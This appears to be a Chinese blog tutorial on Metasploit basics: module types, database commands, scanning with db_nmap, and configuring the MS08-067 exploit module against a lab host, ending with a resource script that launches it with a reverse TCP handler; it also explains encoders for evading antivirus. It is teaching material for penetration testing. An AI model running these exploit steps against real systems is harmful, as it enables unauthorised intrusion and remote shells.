Metasploit初探索

渗透测试者的困扰:
需要掌握数百个工具软件,上千条命令参数,很难去全部记住.
对于新出现的漏洞PoC/EXP有不同的运行环境要求,准备工 作繁琐.
渗透工作者大部分时间都在学习不同工具的使用习惯,如果可以统一那么就方便的多.

Metasploit简介:

  • 目前最流行,最强大,最具有扩展性的渗透测试平台软件
  • 基于Metasploit进行渗透测试和漏洞分析的流程和方法
  • 2003年由HD More发布第一版,2007年用ruby语言重写,其
    • 其框架集成了渗透测试标准(PETS)思想;
    • 在一定程度上统一了渗透测试和漏洞研究的工作环境;
    • 对于新的攻击代码可以比较容易的加入框架
  • 开发活跃版本更新频繁(每周)
    • 早期版本基于社区力量为维护,后开被Rapid 7收购后打造出其商业版产品
    • 目前分化为四个版本,两个为社区版本,基于社区的版本依然十分活跃
    • HD More说:为Metasploit写书是种自虐!
    • 2014年之后市场上没有再出现新的Metasploit教材

在这里插入图片描述
Metasploit Framework(简称MSF)默认集成于Kali Linux之中
MSF目前使用postgresql数据库存储数据,对于早期版本,需要先启动数据库,然后才可以打开metasploit,如今可以直接打开
在这里插入图片描述
1,基础库文件
Metasploit的基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分.

▪ Rex
– 基本功能库,用于完成日常基本任务,无需人工手动编码实现
– 处理socket 连接访问,协议应答(http/SSL/SMB等)
– 编码转换(XOR,Base64,Unicode)
▪ Msf::Core
– 提供Msf 的核心基本API,是框架的核心能力实现库
▪ Msf::Base
– 提供友好的API,便于模块调用的库.
▪ Plugin 插件
– 连接和调用外部扩展功能和系统,使用插件去调用其他软件,如调用openwas,sqlmap等.

在打开MSF之前,该软件会自动打开数据库,并且初始化数据库,我们也可以自行操作

root@kali:~# msfdb         #管理msf数据库

Manage the metasploit framework database

  msfdb init     # start and initialize the database  #初始化数据库
  msfdb reinit   # delete and reinitialize the database   #删除并且初始化数据库
  msfdb delete   # delete database and stop using it  #删除并且停用该数据库
  msfdb start    # start the database  #开启数据库
  msfdb stop     # stop the database  #关闭数据库
  msfdb status   # check service status  #核对数据库状态
  msfdb run      # start the database and run msfconsole  #开启数据库并且运行msfconsole接口

MSF默认使用的数据库是postgresql数据库,该数据库侦听系统的5432端口
MSF中的模块的路径:

root@kali:/usr/share# cd /usr/share/metasploit-framework/modules/
root@kali:/usr/share/metasploit-framework/modules# ls
auxiliary  encoders  exploits  nops  payloads  post

模块简介
exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)

Payload:成功执行exploit之后,真正在目标系统上执行的代码或指令.

MSF默认有三种payload

root@kali:/usr/share/metasploit-framework/modules# cd payloads/
root@kali:/usr/share/metasploit-framework/modules/payloads# ls
singles  stagers  stages
  • singles:一体化的payload,所有的功能都在这个代码里面.缺点:体积大,对目标系统内存有要求.

  • tager:体积很小的payload,针对目标计算机内存有限时,先去传输一个较小的payload用于连接,然后去攻击者的电脑下载后续的载荷.

  • stages:利用stager建立的连接下载后续的Payload

shellcode是一种以拿目标的shell为目的的payload代码,由于其建立正向/反向shell而得名.

Auxiliary模块:执行信息收集,枚举,指纹探测,扫描等功能的辅助模块(没有payload的exploit模块)

Encoders模块:对payload进行加密,目的是躲避防病毒软件(AV)检查的模块

Nops:提高payload稳定性及维持大小.

基本使用
对MSF进行升级:

root@kali:~# msfupdate 

使用msfconsole接口

  • 最流行的用户接口
  • 几乎可以使用全部msf功能
  • 控制台命令支持tab自动补全
  • 支持外部命令的执行(系统命令等)
  • 启动方式:点击鼠标启动/msfconsole启动
  • 输入help或者?显示当前路径下可以使用的命令
root@kali:~# msfconsole 
                                                  
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.17.9-dev                          ]
+ -- --=[ 1806 exploits - 1027 auxiliary - 312 post       ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

msf > pwd  #在该路径下也可也输入linux系统命令
[*] exec: pwd
/root
msf > id
[*] exec: id

uid=0(root) gid=0(root) 组=0(root)

msf > help workspace  #显示应用的使用方法,或者使用workspace -h
Usage:
    workspace                  List workspaces
    workspace -v               List workspaces verbosely
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D               Delete all workspaces
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help information

msf > exit #退出msfcole
root@kali:~# 

msf > connect -h #connect可以作为一个客户端去连接远程服务器的Ip和端口,和nc使用功能相同
Usage: connect [options] <host> <port>

Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.

OPTIONS:

    -C        Try to use CRLF for EOL sequence.
    -P <opt>  Specify source port.
    -S <opt>  Specify source address.
    -c <opt>  Specify which Comm to use.
    -h        Help banner.
    -i <opt>  Send the contents of a file.
    -p <opt>  List of proxies to use.
    -s        Connect with SSL.
    -u        Switch to a UDP socket.
    -w <opt>  Specify connect timeout.
    -z        Just try to connect, then return.
msf > connect 192.168.128.129 80
[*] Connected to 192.168.128.129:80


msf > show exploits  #显示当前可用的攻击模块,当然也可以查看其他模块
msf > show auxiliary 

msf > search s08-067 #使用search可以直接搜索具体的某个模块的路径或者搜索关键字也可以查询到
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption

search的用法:

msf > search -h
Usage: search [ options ] <keywords>

OPTIONS:
  -h                Show this help information
  -o <file>         Send output to a file in csv format
  -S <string>       Search string for row filter

Keywords:
  app       :  Modules that are client or server attacks    #选择针对于客户端还是服务器的攻击
  author    :  Modules written by this author #被哪个作者编写的模块
  bid       :  Modules with a matching Bugtraq ID #匹配bid
  cve       :  Modules with a matching CVE ID  #根据CVE ID去匹配/查询
  edb       :  Modules with a matching Exploit-DB ID  #根据EDB ID去匹配
  name      :  Modules with a matching descriptive name  #根据描述的名字去匹配
  platform  :  Modules affecting this platform  #根据受影响的平台去匹配
  port      :  Modules with a matching port #匹配端口
  ref       :  Modules with a matching ref  #匹配ref
  type      :  Modules of a specific type (exploit, payload, auxiliary, encoder, post, or nop) #根据模块的特殊类型去匹配

Examples:
  search cve:2009 type:exploit app:client

使用use命令使用具体的模块

msf > use -h
Usage: use module_name
#use命令用于与给定的模块名进行交互
The use command is used to interact with a module of a given name.

msf > use exploit/windows/smb/ms08_067_netapi  #使用该路径下的ms-8-067漏洞的攻击模块
msf exploit(windows/smb/ms08_067_netapi) > info  #显示当前模块的信息

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

  Available targets:    #该模块适用的目标主机的版本
  Id  Name
  --  ----

           .
           .
           .
           .
           .
  Basic options:    #使用该模块需要配置的操作.Required为yes的需要根据Description配置
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

References:  #参考文档
  https://cvedetails.com/cve/CVE-2008-4250/
  OSVDB (49243)
  https://technet.microsoft.com/en-us/library/security/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos

使用show option显示该模块下需要配置的信息

msf exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

使用set去设置需要配置的参数

msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.128.129
rhost => 192.168.128.129

通过show target显示当前模块支持的系统版本

msf exploit(windows/smb/ms08_067_netapi) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal

使用check去验证该漏洞是否存在于目标系统中

msf exploit(windows/smb/ms08_067_netapi) > check

使用back可以返回上一层上一次目录

msf exploit(windows/smb/ms08_067_netapi) > back
msf > 

MSF数据库指令

msf > db_     #MSF数据库可以使用的指令
db_connect        db_export         db_nmap           db_status         
db_disconnect     db_import         db_rebuild_cache  

msf > db_status  #db_status可以查看数据库状态,这里发现没有连接到数据库
[*] postgresql selected, no connection

创建数据库:

切换到postgres用户:su postgres,
创建用户:createuser username -P,输入自己设的密 码,username为用户名,自己随便起这里写图片描述

创建数据库及其属组:createdb --owner=username database 第一个 username为刚刚创建的用户名,后面的database为创建的数据库名称,意为创建数据库database,其属组(主人)为username!
这里写图片描述
进入MSF终端,连接刚刚设置好的数据库
db_connect +用户名:密码@127.0.0.1/数据库名称(用户名,密码,数据库名都是刚刚设置的)
这里写图片描述
如果显示已连接但不是自己设置的数据库,
这里写图片描述
那么断开这个数据库连接,命令为:db_disconnect,然后再从新连接
这里写图片描述

msf > db_connect username:redhat@127.0.0.1/database #连接数据库
[*] Rebuilding the module cache in the background...
msf > db_status  #表示已经连接上database数据库
[*] postgresql connected to database

msf > db_rebuild_cache  #将各个模块的缓存放到数据库中,以便于检索MSF数据库的信息会快很多
[*] Purging and rebuilding the module cache in the background...
msf > db_disconnect  #断开数据库
msf > db_status 
[*] postgresql selected, no connection

使用db_nmap去扫描目标主机,其效果和在系统中使用nmap功能一致,并且能将扫描结果存放到MSF数据库中

msf > db_nmap 192.168.128.129
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 01:19 CST
[*] Nmap: Nmap scan report for 192.168.128.129
[*] Nmap: Host is up (0.0027s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 21/tcp   open  ftp
[*] Nmap: 22/tcp   open  ssh
[*] Nmap: 23/tcp   open  telnet

我们输入hosts便查看刚刚db_nmap扫描到的信息(已存入到MSF数据库中)

msf > hosts 

Hosts
=====

address          mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------          ---                ----  -------  ---------  -----  -------  ----  --------
192.168.128.129  00:0c:29:01:48:0a        Unknown                    device        

使用hosts+ip可以查看数据库中某一台主机的信息
msf > hosts 192.168.128.129
 
 使用hosts -u查看数据库中开启的主机
 msf > hosts -u

使用hosts -S根据关键字来在MSF数据库中筛选
msf > hosts -S xp

使用service显示数据库中开放的服务信息
msf > services 
Services
========

host             port  proto  name          state  info
----             ----  -----  ----          -----  ----
192.168.128.129  21    tcp    ftp           open   
192.168.128.129  22    tcp    ssh           open   

使用vulns可以查看目标系统的漏洞信息

msf > vulns 

将数据库导出

msf > db_export -h
Usage:
    db_export -f <format> [filename]  
    Format can be one of: xml, pwdump
[-] No output file was specified

例:
#将该数据库以xml格式导入到/root/msfdb.xml文件内
msf > db_export -f xml /root/msfdb.xml  
[*] Starting export of workspace default to /root/msfdb.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Starting export of module details
[*]     >> Finished export of report
[*] Finished export of workspace default to /root/msfdb.xml [ xml ]...

将xml文件导入到数据库中(注:其他的软件所扫描的结果也可以以xml格式导入到msf数据库中,如nmap)

msf > db_import /root/msfdb.xml 
[*] Importing 'Metasploit XML' data
[*] Importing host 192.168.128.129
[*] Successfully imported /root/msfdb.xml

MSF控制台命令
set命令:设置参数
unset:取消设置的参数
setg:设置全局参数,一旦退出msf即全局参数恢复原状,那么在设置完全局参数之后输入save系统即会保存配置文件,下一次打开全局设置依然存在.
unsetg:取消设置全局参数

msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.128.129
rhost => 192.168.128.129

msf > save 
Saved configuration to: /root/.msf4/config #将全局配置文件存放到该文件中

通过load加载MSF插件可以用来调用外部软件的模块

msf > load openvas 
[*] Welcome to OpenVAS integration by kost and averagesecurityguy.
[*] 
[*] OpenVAS integration requires a database connection. Once the 
[*] database is ready, connect to the OpenVAS server using openvas_connect.
[*] For additional commands use openvas_help.
[*] 
[*] Successfully loaded plugin: OpenVAS

然后就可以使用外部的软件
msf > openvas_
openvas_config_list           openvas_target_delete
openvas_connect               openvas_target_list
openvas_debug                 openvas_task_create
openvas_disconnect            openvas_task_delete
openvas_format_list           openvas_task_list
openvas_help                  openvas_task_pause
openvas_report_delete         openvas_task_resume
openvas_report_download       openvas_task_resume_or_start
openvas_report_import         openvas_task_start
openvas_report_list           openvas_task_stop
openvas_target_create         openvas_version

unload:取消加载外部的openvas

msf > unload OpenVAS 
Unloading plugin OpenVAS...unloaded.

使用loadpath将path路径加载到MSF中,这样便可以将自己写的模块加载到MSF中

msf > loadpath 
Usage: loadpath </path/to/modules>

Loads modules from the given directory which should contain subdirectories for
module types, e.g. /path/to/modules/exploits

route:

msf > route -h
Route traffic destined to a given subnet through a supplied session.

Usage:
  route [add/remove] subnet netmask [comm/sid]
  route [add/remove] cidr [comm/sid]
  route [get] <host or network>
  route [flush]
  route [print]

Subcommands:
  add - make a new route
  remove - delete a route; 'del' is an alias
  flush - remove all routes
  get - display the route for a given target
  print - show all active routes

Examples:
  Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1
    route add 192.168.0.0 255.255.255.0 1
    route add 192.168.0.0/24 1

  Delete the above route
    route remove 192.168.0.0/24 1
    route del 192.168.0.0 255.255.255.0 1

  Display the route that would be used for the given host or network
    route get 192.168.0.11


我们将对一个漏洞的配置编写到文件内,通过resource命令+文件名直接进行攻击

在一个文件中写入以下内容
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.128.129
set lhost 192.168.128.128
set lport 3333
exploit 

然后在MSF终端中输入resource 文件名
msf > resource r.rc
[*] Processing /root/r.rc for ERB directives.
resource (/root/r.rc)> use exploit/windows/smb/ms08_067_netapi
resource (/root/r.rc)> set rhost 192.168.128.129
rhost => 192.168.128.129
resource (/root/r.rc)> set lhost 192.168.128.128
lhost => 192.168.128.128
resource (/root/r.rc)> set lport 3333
lport => 3333
resource (/root/r.rc)> exploit

[*] Started reverse TCP handler on 192.168.128.128:3333 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值